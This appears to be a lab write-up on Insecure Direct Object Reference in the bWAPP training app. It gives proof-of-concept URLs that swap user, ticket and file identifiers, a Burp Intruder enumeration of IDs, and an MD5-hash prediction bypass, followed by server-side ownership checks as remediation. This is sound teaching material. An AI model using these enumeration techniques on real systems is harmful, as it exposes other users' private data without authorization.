🧪 09 — IDOR (Insecure Direct Object Reference)

IDOR — Insecure Direct Object Reference

OWASP: A01 - Broken Access Control | **CWE**: CWE-639 | **Severity**: 🟠 High

---

📖 Description

IDOR occurs when an application uses user-controllable input to access objects directly without authorization checks. An attacker can manipulate parameters (like user IDs, file names) to access resources belonging to other users.

🔍 Affected Endpoints

```
http://localhost/bWAPP/idor_1.php
http://localhost/bWAPP/idor_2.php
http://localhost/bWAPP/insecure_direct_object_ref_1.php
```

⚠️ Security Level: LOW

Behavior

User ID passed in URL without any authorization check.

PoC

```
# Logged in as user ID 1
http://localhost/bWAPP/idor_1.php?user=1

# Increment/change ID to access other users' data
```

```
http://localhost/bWAPP/idor_1.php?user=2
http://localhost/bWAPP/idor_1.php?user=3

# Try admin user (usually ID=1)
http://localhost/bWAPP/insecure_direct_object_ref_1.php?tic
ket_id=1
http://localhost/bWAPP/insecure_direct_object_ref_1.php?tic
ket_id=2
```

Burp Suite Automation

```
1. Intercept request with ID parameter
2. Send to Intruder
3. Mark ID as payload -> Numbers 1-100
4. Run attack -> look for 200 responses with different data
```

IDOR on Files

```
# Access other users' files by changing filename
http://localhost/bWAPP/download.php?file=user1_invoice.pdf
http://localhost/bWAPP/download.php?file=user2_invoice.pdf
http://localhost/bWAPP/download.php?file=admin_secrets.pdf
```

⚠️ Security Level: MEDIUM

Defense Applied

Hashes/encoded IDs used instead of sequential integers.

Bypass

```
# If MD5 hash used for ID:
# Try to predict: md5('1'), md5('2'), md5('admin'), etc.
python3 -c "import hashlib; print(hashlib.md5(b'1').hexdige
st())"

# c4ca4238a0b923820dcc509a6f75849b = md5('1')
```

```
http://localhost/bWAPP/idor_2.php?user=c4ca4238a0b923820dcc
509a6f75849b
```

⚠️ Security Level: HIGH

Defense Applied

Server-side authorization check: verifies the requested object belongs to the current user.

```
$user_id = $_SESSION['user_id'];  // From session, not user
input
$query = "SELECT * FROM tickets WHERE id=? AND user_id=?";
$stmt->execute([$ticket_id, $user_id]);
```

📊 Impact Analysis

Impact	Description
Data Exposure	Access other users' private data
Account Info Leak	View emails, addresses, orders
Privilege Escalation	Access admin-only objects

✅ Remediation

1. **Access Control Checks**: Always verify user owns requested object
2. **Indirect Object References**: Use non-guessable tokens mapped server-side
3. **Deny by Default**: Reject unless access is explicitly granted

```
// Always check ownership
$query = "SELECT * FROM orders WHERE id=? AND user_id=?";
$stmt->execute([$order_id, $_SESSION['user_id']]);
if ($stmt->rowCount() === 0) {
    die('Access denied');
}
```

📚 References

- CWE-639: https://cwe.mitre.org/data/definitions/639.html
- OWASP IDOR: https://owasp.org/www-chapter-ghana/assets/slides/IDOR.pdf